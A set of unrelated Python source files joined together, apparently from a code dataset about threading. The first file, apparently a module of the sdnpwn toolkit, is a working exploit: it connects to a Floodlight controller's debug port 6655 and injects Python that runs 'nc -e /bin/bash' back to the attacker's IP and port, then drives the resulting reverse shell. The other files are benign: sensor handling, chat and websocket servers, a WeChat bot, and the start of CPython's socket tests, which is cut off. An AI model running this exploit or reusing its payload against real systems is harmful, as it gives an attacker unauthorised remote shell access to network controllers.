import modules.sdnpwn_common as sdnpwn
from time import sleep
threads = []
socks = []
stopListening = False
def signal_handler(signal, frame):
#Handle Ctrl+C here
print("")
sdnpwn.message("Stopping...Try Ctrl+C once more", sdnpwn.NORMAL)
try:
stopListening = True
for s in socks:
s.close()
except:
pass
exit(0)
def info():
return "Automatically gets a shell by abusing Floodlight's debug port (6655)"
def usage():
sdnpwn.addUsage(["--target", "-t"], "Target", True)
sdnpwn.addUsage(["--listen", "-l"], "Listening socket (like 127.0.0.1:1234)", True)
sdnpwn.addUsage(["--no-local", "-r"], "Do not start a local shell listener. Use if using nc, metasploit, etc to get shell", True)
return sdnpwn.getUsage()
def getSocket(ip, port, timeout=2):
try:
comm_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
comm_sock.settimeout(timeout)
comm_sock.connect((ip, int(port)))
return comm_sock
except Exception as e:
#print(e)
return None
def listenForShell(listeningPort):
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('0.0.0.0', int(listeningPort)))
serversocket.listen(1)
(clientsocket, address) = serversocket.accept()
sdnpwn.printSuccess("Got connection from " + str(address))
cmdThread = Thread(target=sendCommands, args=(clientsocket,))
cmdThread.start()
threads.append(cmdThread)
socks.append(serversocket)
socks.append(clientsocket)
while stopListening == False:
data = clientsocket.recv(1024).decode()
if(data):
print(data, end='')
else:
break
clientsocket.close()
def sendCommands(sock):
while stopListening == False:
cmd = input()
sock.send(cmd.encode() + b'\x0a')
def run(params):
signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler
target = sdnpwn.getArg(["--target", "-t"], params)
listening = sdnpwn.getArg(["--listen", "-l"], params)
noSpawnLocal = sdnpwn.checkArg(["--no-local", "-r"], params)
listeningIP = listening.split(":")[0]
listeningPort = listening.split(":")[1]
floodlightDebugPort = 6655
if(noSpawnLocal == False):
sdnpwn.printNormal("Setting up shell handler...")
listener = Thread(target=listenForShell, args=(listeningPort,))
listener.start()
threads.append(listener)
sdnpwn.printNormal("Attempting connection to debug server...")
sock = getSocket(target, floodlightDebugPort, 5)
if(sock == None):
sdnpwn.printError("Could not connect...quiting.")
exit(0)
sdnpwn.printNormal("Getting shell...")
badString = "import subprocess; subprocess.call(['nc','-e', '/bin/bash', '" + listeningIP + "', '" + listeningPort + "\r'])"
sock.send(badString.encode())
socks.append(sock)
while stopListening == False:
pass |
sensor_interface.py | import copy
import logging
import numpy as np
import os
import time
from threading import Thread
from queue import Queue
from queue import Empty
import carla
from srunner.scenariomanager.carla_data_provider import CarlaDataProvider
from srunner.scenariomanager.timer import GameTime
def threaded(fn):
def wrapper(*args, **kwargs):
thread = Thread(target=fn, args=args, kwargs=kwargs)
thread.setDaemon(True)
thread.start()
return thread
return wrapper
class SensorConfigurationInvalid(Exception):
"""
Exceptions thrown when the sensors used by the agent are not allowed for that specific submissions
"""
def __init__(self, message):
super(SensorConfigurationInvalid, self).__init__(message)
class SensorReceivedNoData(Exception):
"""
Exceptions thrown when the sensors used by the agent take too long to receive data
"""
def __init__(self, message):
super(SensorReceivedNoData, self).__init__(message)
class GenericMeasurement(object):
def __init__(self, data, frame):
self.data = data
self.frame = frame
class BaseReader(object):
def __init__(self, vehicle, reading_frequency=1.0):
self._vehicle = vehicle
self._reading_frequency = reading_frequency
self._callback = None
self._run_ps = True
self.run()
def __call__(self):
pass
@threaded
def run(self):
first_time = True
latest_time = GameTime.get_time()
while self._run_ps:
if self._callback is not None:
current_time = GameTime.get_time()
# Second part forces the sensors to send data at the first tick, regardless of frequency
if current_time - latest_time > (1 / self._reading_frequency) \
or (first_time and GameTime.get_frame() != 0):
self._callback(GenericMeasurement(self.__call__(), GameTime.get_frame()))
latest_time = GameTime.get_time()
first_time = False
else:
time.sleep(0.001)
def listen(self, callback):
# Tell that this function receives what the producer does.
self._callback = callback
def stop(self):
self._run_ps = False
def destroy(self):
self._run_ps = False
class SpeedometerReader(BaseReader):
"""
Sensor to measure the speed of the vehicle.
"""
MAX_CONNECTION_ATTEMPTS = 10
def _get_forward_speed(self, transform=None, velocity=None):
""" Convert the vehicle transform directly to forward speed """
if not velocity:
velocity = self._vehicle.get_velocity()
if not transform:
transform = self._vehicle.get_transform()
vel_np = np.array([velocity.x, velocity.y, velocity.z])
pitch = np.deg2rad(transform.rotation.pitch)
yaw = np.deg2rad(transform.rotation.yaw)
orientation = np.array([np.cos(pitch) * np.cos(yaw), np.cos(pitch) * np.sin(yaw), np.sin(pitch)])
speed = np.dot(vel_np, orientation)
return speed
def __call__(self):
""" We convert the vehicle physics information into a convenient dictionary """
# protect this access against timeout
attempts = 0
while attempts < self.MAX_CONNECTION_ATTEMPTS:
try:
velocity = self._vehicle.get_velocity()
transform = self._vehicle.get_transform()
break
except Exception:
attempts += 1
time.sleep(0.2)
continue
return {'speed': self._get_forward_speed(transform=transform, velocity=velocity)}
class OpenDriveMapReader(BaseReader):
def __call__(self):
return {'opendrive': CarlaDataProvider.get_map().to_opendrive()}
class CallBack(object):
def __init__(self, tag, sensor_type, sensor, data_provider):
self._tag = tag
self._data_provider = data_provider
self._data_provider.register_sensor(tag, sensor_type, sensor)
def __call__(self, data):
if isinstance(data, carla.libcarla.Image):
self._parse_image_cb(data, self._tag)
elif isinstance(data, carla.libcarla.LidarMeasurement):
self._parse_lidar_cb(data, self._tag)
elif isinstance(data, carla.libcarla.RadarMeasurement):
self._parse_radar_cb(data, self._tag)
elif isinstance(data, carla.libcarla.GnssMeasurement):
self._parse_gnss_cb(data, self._tag)
elif isinstance(data, carla.libcarla.IMUMeasurement):
self._parse_imu_cb(data, self._tag)
elif isinstance(data, GenericMeasurement):
self._parse_pseudosensor(data, self._tag)
else:
logging.error('No callback method for this sensor.')
# Parsing CARLA physical Sensors
def _parse_image_cb(self, image, tag):
array = np.frombuffer(image.raw_data, dtype=np.dtype("uint8"))
array = copy.deepcopy(array)
array = np.reshape(array, (image.height, image.width, 4))
self._data_provider.update_sensor(tag, array, image.frame)
def _parse_lidar_cb(self, lidar_data, tag):
points = np.frombuffer(lidar_data.raw_data, dtype=np.dtype('f4'))
points = copy.deepcopy(points)
points = np.reshape(points, (int(points.shape[0] / 4), 4))
self._data_provider.update_sensor(tag, points, lidar_data.frame)
def _parse_radar_cb(self, radar_data, tag):
# [depth, azimuth, altitute, velocity]
points = np.frombuffer(radar_data.raw_data, dtype=np.dtype('f4'))
points = copy.deepcopy(points)
points = np.reshape(points, (int(points.shape[0] / 4), 4))
points = np.flip(points, 1)
self._data_provider.update_sensor(tag, points, radar_data.frame)
def _parse_gnss_cb(self, gnss_data, tag):
array = np.array([gnss_data.latitude,
gnss_data.longitude,
gnss_data.altitude], dtype=np.float64)
self._data_provider.update_sensor(tag, array, gnss_data.frame)
def _parse_imu_cb(self, imu_data, tag):
array = np.array([imu_data.accelerometer.x,
imu_data.accelerometer.y,
imu_data.accelerometer.z,
imu_data.gyroscope.x,
imu_data.gyroscope.y,
imu_data.gyroscope.z,
imu_data.compass,
], dtype=np.float64)
self._data_provider.update_sensor(tag, array, imu_data.frame)
def _parse_pseudosensor(self, package, tag):
self._data_provider.update_sensor(tag, package.data, package.frame)
class SensorInterface(object):
def __init__(self):
self._sensors_objects = {}
self._data_buffers = {}
self._new_data_buffers = Queue()
self._queue_timeout = 10
# Only sensor that doesn't get the data on tick, needs special treatment
self._opendrive_tag = None
def register_sensor(self, tag, sensor_type, sensor):
if tag in self._sensors_objects:
raise SensorConfigurationInvalid("Duplicated sensor tag [{}]".format(tag))
self._sensors_objects[tag] = sensor
if sensor_type == 'sensor.opendrive_map':
self._opendrive_tag = tag
def update_sensor(self, tag, data, timestamp):
if tag not in self._sensors_objects:
raise SensorConfigurationInvalid("The sensor with tag [{}] has not been created!".format(tag))
self._new_data_buffers.put((tag, timestamp, data))
def get_data(self):
try:
data_dict = {}
while len(data_dict.keys()) < len(self._sensors_objects.keys()):
# Don't wait for the opendrive sensor
if self._opendrive_tag and self._opendrive_tag not in data_dict.keys() \
and len(self._sensors_objects.keys()) == len(data_dict.keys()) + 1:
break
sensor_data = self._new_data_buffers.get(True, self._queue_timeout)
data_dict[sensor_data[0]] = ((sensor_data[1], sensor_data[2]))
except Empty:
raise SensorReceivedNoData("A sensor took too long to send their data")
return data_dict
|
XiaoBing.py | #!/usr/bin/env python3
"""
小冰操作
:author Wang Weiwei <email>weiwei02@vip.qq.com / weiwei.wang@100credit.com</email>
:sine 2017/8/11
:version 1.0
"""
from .MessageEvent import *
import time
import threading
# XIAOBING_ID = 'xiaoice-ms'
XIAOBING_ID = '@4c8d3aed2779105d13455d3a30f8f2d0'
def hava_mp_xiaobing():
mps = itchat.get_mps(update=True)
for mp in mps:
if mp["PYQuanPin"] == 'xiaobing':
global XIAOBING_ID
XIAOBING_ID = mp["UserName"]
print(XIAOBING_ID)
return
raise ValueError("没有关注小冰,无法使用小冰转发")
def send_to_xiaobing(msg):
itchat.send(msg, XIAOBING_ID)
@itchat.msg_register([TEXT, MAP, CARD, NOTE, SHARING, PICTURE, RECORDING, ATTACHMENT, VIDEO], isMpChat=True)
def receive_from_xiaobing(msg):
queMsg = 'no'
if msg["FromUserName"] == XIAOBING_ID:
if msg['Type'] in [TEXT, MAP, CARD, NOTE, SHARING]:
queMsg = '%s' % (msg['Text'])
else:
msg[TEXT](msg['FileName'])
queMsg = '@%s@%s' % ({'Picture': 'img', 'Video': 'vid'}.get(msg['Type'], 'fil'), msg['FileName'])
if xiaobingQueue.qsize() <= msgQueue.qsize():
xiaobingQueue.put(queMsg)
print("小冰回复:", queMsg)
def auto_reply_from_xiaobing(self):
hava_mp_xiaobing()
def listen():
global from_msg
while True:
try:
# print("xiaobing: {0} , msg: {1}".format(xiaobingQueue.qsize(), msgQueue.qsize()))
from_msg = msgQueue.get()
while xiaobingQueue.qsize() > 0:
forward_message(from_msg, xiaobingQueue.get(block=False))
send_to_xiaobing(from_msg[TEXT])
re_msg = xiaobingQueue.get()
forward_message(from_msg, re_msg)
# 如果小冰有其它回复,无阻塞获取已过期的消息
while xiaobingQueue.qsize() > 0:
forward_message(from_msg, xiaobingQueue.get(timeout=1))
except queue.Empty:
re_msg = {"Text": "人家感觉身心疲惫,是否允许人家休息一下"}
forward_message(from_msg, re_msg)
def forward_message(source_msg, xiaobing_msg):
"""转发 小冰消息"""
if source_msg.get("ToUserName"):
if source_msg.get('Type'):
return itchat.send(u'@%s\u2005 %s' % (source_msg["ToUserName"], xiaobing_msg), toUserName=source_msg["FromUserName"])
itchat.send_msg(xiaobing_msg, toUserName=source_msg["FromUserName"])
auto_thread = threading.Thread(target=listen)
auto_thread.setDaemon(True)
auto_thread.start() |
keep_alive.py | from flask import Flask
from threading import Thread
app = Flask('')
@app.route('/')
def home():
return "hello!"
def run():
app.run(host='0.0.0.0',port=8080)
def keep_alive():
t = Thread(target=run)
t.start()
|
server_node_outside.py | """ This script runs a webserver that transmits the data from arduino.
The script runs a web application in a certain PORT. Periodically,
the server polls the ArduMon for data using the SerialDataFetcher. The data
is then sent out as a JSON dictionary to the clients connected.
Clients can connect to the machine running this server, and the connection is
performed through the websocket SOCKETNAME using port SOCKETPORT
"""
EMULATE = True
import time
import json
import datetime
from communications import SerialCommManager as SCM
import sys
#Uncomment if arduino_emulator is needed
if EMULATE:
from arduino_emulator import ArduinoSerialEmulator
import socket
from serial.serialutil import SerialException
from tornado import websocket, web, ioloop
from communications.SerialCommManager import write_handshake,\
handshake_func
import threading
import SimpleHTTPServer
import SocketServer
PORT = 3000
SOCKETNAME = r'/ArduMon1'
SOCKETNAME2 = r'/ArduMon2'
SOCKETPORT = 8001
SOCKETPORT2 = 8002
message_digital_0 = 65
PERIODICITY = 500
class WebSocketHandler(websocket.WebSocketHandler):
#on open of this socket
def open(self):
#TODO: Have a way to clean-up the emulated arduino
# For emulation, uncomment the following lines
if EMULATE:
my_emulator = ArduinoSerialEmulator()
emulation_port = my_emulator.report_server()
my_emulator.start()
else:
emulation_port=[]
print 'Connection established.'
self.verbose = True
self.arduino_serial_comms= SCM.SerialCommManager(0.001, verbose=self.verbose,
emulatedPort=emulation_port)
print 'Data fetcher setup'
## Set up a periodic call to self.send_data, with a periodicity in miliseconds
self.callback = ioloop.PeriodicCallback(self.send_data,PERIODICITY)
self.callback.start()
#close connection
def on_close(self):
print 'Connection closed.'
def check_origin(self, origin):
return True
def on_message(self, message):
""" The message sent to the arduino is a character around 65.
To indicate a HIGH pin, add the pin number to 65.
To indicate a LOW pin, subtract the pin number to 65, minus one.
This is to distinguish between +0 and -0.
:param message: message received
"""
split_message = message.split(',')
pinValue = int(split_message[1])
## We will use 65+pinNumber for HIGH signals, and 65-pinNumber-1 for LOW signals
## e.g. pin 0 LOW corresponds to 64 and pin 1 HIGH corresponds to 66
if pinValue:
pinNumber = chr(int(split_message[0])+message_digital_0)
else:
pinNumber = chr(message_digital_0-int(split_message[0])-1)
if self.verbose:
print '\n\n--------------------------------------'
print 'Message from web received. Init comms'
print 'Pin Value',pinValue
print 'Initial pin calculated {}, value {}, sending {}----------------'.format(split_message[0], pinValue,(pinNumber))
self.arduino_serial_comms.poll_arduino(handshake_func=handshake_func,
command=pinNumber)
def convert_message_to_command(self,message):
split_message = message.split(',')
pinValue = int(split_message[1])
## We will use 65+pinNumber for HIGH signals, and 65-pinNumber-1 for LOW signals
## e.g. pin 0 LOW corresponds to 64 and pin 1 HIGH corresponds to 66
if pinValue:
pinNumber = chr(int(split_message[0])+message_digital_0)
else:
pinNumber = chr(message_digital_0-int(split_message[0])-1)
return pinValue, pinNumber
# Our function to send new (random) data for charts
def send_data(self):
""" This function sends data through the websocket.
It is typically called as part of a periodic callback.
"""
try:
t, channels = self.arduino_serial_comms.poll_arduino()
print "Data acquired"
#create a bunch of random data for various dimensions we want
point_data = self.convert_data(channels)
#write the json object to the socket
self.write_message(json.dumps(point_data))
except SerialException:
#self.data_fetcher.cleanup()
point_data = {
'ch0': 0,
'ch1' : 0,
'ch2' : 0,
'ch3' : 0,
'ch4' : 0,
'ch5' : 0,
'x': time.time(),
'error':True
}
print 'Serial Exception'
self.write_message(json.dumps(point_data))
def convert_data(self, list_of_data):
list_of_data = [datum[0]*3.3/4095 for datum in list_of_data]
point_data = {
'ch0': list_of_data[0],
'ch1' : list_of_data[1],
'ch2' : list_of_data[2],
'ch3' : list_of_data[3],
'ch4' : list_of_data[4],
'ch5' : list_of_data[5],
'x': time.time(),
'error':False
}
return point_data
def main():
#Starting web server
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "serving at port", PORT
thread = threading.Thread(target=httpd.serve_forever)
thread.setdaemon = True
try:
thread.start()
#create new web app w/ websocket endpoint available at SOCKETNAME
print "Starting websocket server program. Awaiting client requests to open websocket ..."
application1 = web.Application([(SOCKETNAME, WebSocketHandler)])
application1.listen(SOCKETPORT)
#application2 = web.Application([(SOCKETNAME2, WebSocketHandler)])
#application2.listen(SOCKETPORT2)
print 'Websocket established in {}:{}/{}'.format(socket.gethostbyname(socket.gethostname()),
SOCKETPORT,SOCKETNAME) #socket.gethostbyname(socket.getfqdn())
ioloop.IOLoop.instance().start()
except KeyboardInterrupt:
httpd.shutdown()
sys.exit(0)
if __name__ == "__main__":
main()
|
server.py | import socket, threading
from AES import AESCipher
from key_exchange import DiffieHellman
class Server:
def __init__(self):
# default port is choosen as 5068
self.port=5068
# server ip address is of private ip of host
# change it to public ip to work over internet
self.host=socket.gethostbyname(socket.gethostname())
# server socket object
self.server=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# message size
self.header=1024
# encoding format
self.format="utf-8"
self.server_key=DiffieHellman()
self.server_pub_key=str(self.server_key.gen_public_key())
# map to store the names of client
self.client_names={}
# map to store the keys of client
self.client_keys={}
self.disconnect='exit'
# function to send messages to all other host
def broadcast(self,msg):
for client in self.client_names:
# creating aes object of client
aes=AESCipher(self.client_keys[client])
# encrypting the message and sending it
crypted_msg=aes.encrypt(msg)
client.send(crypted_msg)
def askName(self, client):
# get the name of the client and store it in the map
msg=client.recv(self.header).decode(self.format)
self.client_names[client]=msg
def exchangeKeys(self, client):
# exchanging keys
# sending public key of server
client.send((self.server_pub_key).encode(self.format))
# receiving public key of client
client_pub_key=int(client.recv(self.header).decode(self.format))
# generating pvt key
client_pvt_key=self.server_key.gen_shared_key(client_pub_key)
# storing the pvt key of server for that client
self.client_keys[client]=client_pvt_key
# function to handle a client
def handle_client(self,client,client_addr):
client_pvt_key=self.client_keys[client]
client_name=self.client_names[client]
print(f"[{client_addr[0]}]-{client_addr[1]} - [{client_name}] - Connected")
print(f"Active Connections - {threading.active_count()-1}")
# inform everyone that 'this client' has joined the server
self.broadcast(f'{client_name} has joined the chat!\n')
# receive message until there is an error at client side
# creating aes object with the pvt key
aes=AESCipher(client_pvt_key)
while True:
try:
# decrypt the received message
msg = aes.decrypt(client.recv(self.header))
# if message states to disconnect then break from the loop
if msg==self.disconnect:
break
print(f"[{client_addr[0]}]-{client_addr[1]} - [{client_name}] - {msg}")
# add client name to the message and broadcast to every clients
msg=f'{client_name}: {msg}'
self.broadcast(msg)
except:
break
# close the connection
client.close()
print(f"[{client_addr[0]}]-{client_addr[1]} - [{client_name}] - Disconnected")
del self.client_names[client]
del self.client_keys[client]
# inform everyone 'this client' has left the server
self.broadcast(f'{client_name} has left the chat\n')
print(f"Active Connections - {threading.active_count()-2}")
# function to start the server
def start_server(self):
self.server.bind((self.host,self.port))
# set the server to listening mode
self.server.listen()
print(f"Server is starting...\nServer [{self.host}] is ready to accept connections!")
while True:
# server accepting new socket object i.e. our client
# and it's address
client, client_addr = self.server.accept()
self.askName(client)
self.exchangeKeys(client)
# Running multiple client/s concurrently using threading
thread = threading.Thread(target=self.handle_client, args=(client, client_addr))
thread.start()
# start server
s=Server()
s.start_server() |
u2p2_thread_test.py | # import sys
import time
import queue
import spidev
import threading
is_on_raspberry_pi = False
with open('/etc/os-release') as os_version_file:
is_on_raspberry_pi = 'raspbian' in os_version_file.read().lower()
spi = None
if is_on_raspberry_pi:
spi = spidev.SpiDev(0, 0) # rasp
print("I'm on Raspberry Pi!")
else:
spi = spidev.SpiDev(1, 0) # lichee
print("I'm on custom board!")
spi.max_speed_hz = 500000
MAX_SPI_QUEUE_SIZE = 32
spi_out_queue = queue.Queue(maxsize=MAX_SPI_QUEUE_SIZE)
# sys.setswitchinterval(0.005)
fff = open("/dev/input/event0", "rb" )
def keyboard_worker():
print("keyboard_thread started")
while 1:
data = fff.read(24)
data = list(data)
try:
spi_out_queue.put(data, block=False)
except Exception:
continue
def spi_worker():
print("spi_thread started")
while 1:
spi.xfer(spi_out_queue.get())
# print("sent")
keyboard_thread = threading.Thread(target=keyboard_worker, daemon=True)
keyboard_thread.start()
spi_thread = threading.Thread(target=spi_worker, daemon=True)
spi_thread.start()
while 1:
# print("main loop")
time.sleep(1) |
number_accuracy_v2.py | # Take the accuracy rate of each picture and take the average
import json
import datetime
from multiprocessing import Process
in_path = r'../../../data/caculate_gd_people/val.json'
prediction_path = r'../../../data/caculate_gd_people/bbox_my_val_4869_results.json'
def cal(annotation_file_path, predict_file_path):
with open(annotation_file_path, 'r') as f, open(predict_file_path, 'r') as g:
data_anno = json.load(f)
data_pred = json.load(g)
number_of_images = len(data_anno['images'])
accuracy_list = []
for i in range(number_of_images):
a, b = 0, 0
for j in range(len(data_anno['annotations'])):
if data_anno['annotations'][j]['image_id'] == i:
a += 1
for j in range(len(data_pred)):
if data_pred[j]['image_id'] == i:
b += 1
this_accuracy = 1 - abs(a - b) / a
accuracy_list.append(this_accuracy)
final_average_accuracy = \
sum(accuracy_list) / len(accuracy_list) * 100
print("Every accuracy = ", accuracy_list)
print("Final average accuracy = {:.4f}%".format(final_average_accuracy))
print("The length of final average accuracy is ", len(accuracy_list))
return
if __name__ == '__main__':
start_time = datetime.datetime.now()
proc = Process(target=cal(in_path, prediction_path))
proc.start()
end_time = datetime.datetime.now()
print("Runing time is", end_time - start_time)
|
test_socket.py | import unittest
from test import support
from test.support import socket_helper
import errno
import collections
import io
import itertools
import socket
import select
import tempfile
import time
import traceback
import queue
import sys
import os
import platform
import array
import contextlib
from weakref import proxy
import signal
import math
import pickle
import struct
import random
import shutil
import string
import _thread as thread
import threading
try:
import multiprocessing
except ImportError:
multiprocessing = False
try:
import fcntl
except ImportError:
fcntl = None
HOST = socket_helper.HOST
# test unicode string and carriage return
MSG = 'Michael Gilfix was here\u1234\r\n'.encode('utf-8')
VSOCKPORT = 1234
AIX = platform.system() == "AIX"
try:
import _socket
except ImportError:
_socket = None
def get_cid():
if fcntl is None:
return None
if not hasattr(socket, 'IOCTL_VM_SOCKETS_GET_LOCAL_CID'):
return None
try:
with open("/dev/vsock", "rb") as f:
r = fcntl.ioctl(f, socket.IOCTL_VM_SOCKETS_GET_LOCAL_CID, " ")
except OSError:
return None
else:
return struct.unpack("I", r)[0]
def _have_socket_can():
"""Check whether CAN sockets are supported on this host."""
try:
s = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW)
except (AttributeError, OSError):
return False
else:
s.close()
return True
def _have_socket_can_isotp():
"""Check whether CAN ISOTP sockets are supported on this host."""
try:
s = socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_ISOTP)
except (AttributeError, OSError):
return False
else:
s.close()
return True
def _have_socket_can_j1939():
"""Check whether CAN J1939 sockets are supported on this host."""
try:
s = socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, socket.CAN_J1939)
except (AttributeError, OSError):
return False
else:
s.close()
return True
def _have_socket_rds():
"""Check whether RDS sockets are supported on this host."""
try:
s = socket.socket(socket.PF_RDS, socket.SOCK_SEQPACKET, 0)
except (AttributeError, OSError):
return False
else:
s.close()
return True
def _have_socket_alg():
"""Check whether AF_ALG sockets are supported on this host."""
try:
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
except (AttributeError, OSError):
return False
else:
s.close()
return True
def _have_socket_qipcrtr():
"""Check whether AF_QIPCRTR sockets are supported on this host."""
try:
s = socket.socket(socket.AF_QIPCRTR, socket.SOCK_DGRAM, 0)
except (AttributeError, OSError):
return False
else:
s.close()
return True
def _have_socket_vsock():
"""Check whether AF_VSOCK sockets are supported on this host."""
ret = get_cid() is not None
return ret
def _have_socket_bluetooth():
"""Check whether AF_BLUETOOTH sockets are supported on this host."""
try:
# RFCOMM is supported by all platforms with bluetooth support. Windows
# does not support omitting the protocol.
s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM)
except (AttributeError, OSError):
return False
else:
s.close()
return True
@contextlib.contextmanager
def socket_setdefaulttimeout(timeout):
old_timeout = socket.getdefaulttimeout()
try:
socket.setdefaulttimeout(timeout)
yield
finally:
socket.setdefaulttimeout(old_timeout)
HAVE_SOCKET_CAN = _have_socket_can()
HAVE_SOCKET_CAN_ISOTP = _have_socket_can_isotp()
HAVE_SOCKET_CAN_J1939 = _have_socket_can_j1939()
HAVE_SOCKET_RDS = _have_socket_rds()
HAVE_SOCKET_ALG = _have_socket_alg()
HAVE_SOCKET_QIPCRTR = _have_socket_qipcrtr()
HAVE_SOCKET_VSOCK = _have_socket_vsock()
HAVE_SOCKET_UDPLITE = hasattr(socket, "IPPROTO_UDPLITE")
HAVE_SOCKET_BLUETOOTH = _have_socket_bluetooth()
# Size in bytes of the int type
SIZEOF_INT = array.array("i").itemsize
class SocketTCPTest(unittest.TestCase):
def setUp(self):
self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port = socket_helper.bind_port(self.serv)
self.serv.listen()
def tearDown(self):
self.serv.close()
self.serv = None
class SocketUDPTest(unittest.TestCase):
def setUp(self):
self.serv = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.port = socket_helper.bind_port(self.serv)
def tearDown(self):
self.serv.close()
self.serv = None
class SocketUDPLITETest(SocketUDPTest):
def setUp(self):
self.serv = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDPLITE)
self.port = socket_helper.bind_port(self.serv)
class ThreadSafeCleanupTestCase:
"""Subclass of unittest.TestCase with thread-safe cleanup methods.
This subclass protects the addCleanup() and doCleanups() methods
with a recursive lock.
"""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._cleanup_lock = threading.RLock()
def addCleanup(self, *args, **kwargs):
with self._cleanup_lock:
return super().addCleanup(*args, **kwargs)
def doCleanups(self, *args, **kwargs):
with self._cleanup_lock:
return super().doCleanups(*args, **kwargs)
class SocketCANTest(unittest.TestCase):
"""To be able to run this test, a `vcan0` CAN interface can be created with
the following commands:
# modprobe vcan
# ip link add dev vcan0 type vcan
# ip link set up vcan0
"""
interface = 'vcan0'
bufsize = 128
"""The CAN frame structure is defined in <linux/can.h>:
struct can_frame {
canid_t can_id; /* 32 bit CAN_ID + EFF/RTR/ERR flags */
__u8 can_dlc; /* data length code: 0 .. 8 */
__u8 data[8] __attribute__((aligned(8)));
};
"""
can_frame_fmt = "=IB3x8s"
can_frame_size = struct.calcsize(can_frame_fmt)
"""The Broadcast Management Command frame structure is defined
in <linux/can/bcm.h>:
struct bcm_msg_head {
__u32 opcode;
__u32 flags;
__u32 count;
struct timeval ival1, ival2;
canid_t can_id;
__u32 nframes;
struct can_frame frames[0];
}
`bcm_msg_head` must be 8 bytes aligned because of the `frames` member (see
`struct can_frame` definition). Must use native not standard types for packing.
"""
bcm_cmd_msg_fmt = "@3I4l2I"
bcm_cmd_msg_fmt += "x" * (struct.calcsize(bcm_cmd_msg_fmt) % 8)
def setUp(self):
self.s = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW)
self.addCleanup(self.s.close)
try:
self.s.bind((self.interface,))
except OSError:
self.skipTest('network interface `%s` does not exist' %
self.interface)
class SocketRDSTest(unittest.TestCase):
"""To be able to run this test, the `rds` kernel module must be loaded:
# modprobe rds
"""
bufsize = 8192
def setUp(self):
self.serv = socket.socket(socket.PF_RDS, socket.SOCK_SEQPACKET, 0)
self.addCleanup(self.serv.close)
try:
self.port = socket_helper.bind_port(self.serv)
except OSError:
self.skipTest('unable to bind RDS socket')
class ThreadableTest:
"""Threadable Test class
The ThreadableTest class makes it easy to create a threaded
client/server pair from an existing unit test. To create a
new threaded class from an existing unit test, use multiple
inheritance:
class NewClass (OldClass, ThreadableTest):
pass
This class defines two new fixture functions with obvious
purposes for overriding:
clientSetUp ()
clientTearDown ()
Any new test functions within the class must then define
tests in pairs, where the test name is preceded with a
'_' to indicate the client portion of the test. Ex:
def testFoo(self):
# Server portion
def _testFoo(self):
# Client portion
Any exceptions raised by the clients during their tests
are caught and transferred to the main thread to alert
the testing framework.
Note, the server setup function cannot call any blocking
functions that rely on the client thread during setup,
unless serverExplicitReady() is called just before
the blocking call (such as in setting up a client/server
connection and performing the accept() in setUp().
"""
def __init__(self):
# Swap the true setup function
self.__dict__ = collections.synchronized(self.__dict__)
self.__setUp = self.setUp
self.setUp = self._setUp
def serverExplicitReady(self):
"""This method allows the server to explicitly indicate that
it wants the client thread to proceed. This is useful if the
server is about to execute a blocking routine that is
dependent upon the client thread during its setup routine."""
self.server_ready.set()
def _setUp(self):
self.wait_threads = support.wait_threads_exit()
self.wait_threads.__enter__()
self.addCleanup(self.wait_threads.__exit__, None, None, None)
self.server_ready = threading.Event()
self.client_ready = threading.Event()
self.done = threading.Event()
self.queue = queue.Queue(1)
self.server_crashed = False
def raise_queued_exception():
if self.queue.qsize():
raise self.queue.get()
self.addCleanup(raise_queued_exception)
# Do some munging to start the client test.
methodname = self.id()
i = methodname.rfind('.')
methodname = methodname[i+1:]
test_method = getattr(self, '_' + methodname)
self.client_thread = thread.start_new_thread(
self.clientRun, (test_method,))
try:
self.__setUp()
except:
self.server_crashed = True
raise
finally:
self.server_ready.set()
self.client_ready.wait()
self.addCleanup(self.done.wait)
def clientRun(self, test_func):
self.server_ready.wait()
try:
self.clientSetUp()
except BaseException as e:
self.queue.put(e)
self.clientTearDown()
return
finally:
self.client_ready.set()
if self.server_crashed:
self.clientTearDown()
return
if not hasattr(test_func, '__call__'):
raise TypeError("test_func must be a callable function")
try:
test_func()
except BaseException as e:
self.queue.put(e)
finally:
self.clientTearDown()
def clientSetUp(self):
raise NotImplementedError("clientSetUp must be implemented.")
def clientTearDown(self):
self.done.set()
thread.exit()
class ThreadedTCPSocketTest(SocketTCPTest, ThreadableTest):
def __init__(self, methodName='runTest'):
SocketTCPTest.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def clientSetUp(self):
self.cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
class ThreadedUDPSocketTest(SocketUDPTest, ThreadableTest):
def __init__(self, methodName='runTest'):
SocketUDPTest.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def clientSetUp(self):
self.cli = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
@unittest.skipUnless(HAVE_SOCKET_UDPLITE,
'UDPLITE sockets required for this test.')
class ThreadedUDPLITESocketTest(SocketUDPLITETest, ThreadableTest):
def __init__(self, methodName='runTest'):
SocketUDPLITETest.__init__(self, methodName=methodName)
ThreadableTest.__init__(self)
def clientSetUp(self):
self.cli = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDPLITE)
def clientTearDown(self):
self.cli.close()
self.cli = None
ThreadableTest.clientTearDown(self)
class ThreadedCANSocketTest(SocketCANTest, ThreadableTest):
def __init__(self, methodName='runTest'):
SocketCANTest.__init__(self, methodName=methodName)
